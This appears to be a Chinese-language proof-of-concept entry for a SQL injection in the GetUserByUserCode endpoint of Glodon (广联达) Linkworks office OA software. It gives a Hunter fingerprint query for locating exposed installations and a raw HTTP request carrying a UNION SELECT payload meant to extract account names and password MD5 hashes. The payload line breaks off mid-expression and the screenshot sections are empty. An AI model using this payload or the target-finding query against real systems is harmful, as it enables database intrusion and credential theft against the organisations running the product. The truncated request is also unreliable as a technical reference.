G4-4广联达-OA-SQL

漏洞描述：

广联达办公OA（Office Automation）是一款综合办公自动化解决方案，旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具，帮助企业管理和处理日常办公任务、流程和文档。由于 广联达 Linkworks办公OA GetUserByUserCode接口未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。

网站图片：

网络测绘：

Hunter 语法：

- app.name="广联达 OA"

漏洞复现：

可通过POC获取存在账号密码的MD5值
payload：

```
GET /Org/service/Service.asmx/GetUserByUserCode?EncryptData=1&userCode=1%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20top%201%20concat(F_CODE
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: GTP_IdServer_LangID=2052; ASP.NET_SessionId=0qojkq03bxdprdshup5xd1pq
Upgrade-Insecure-Requests: 1
```

效果图: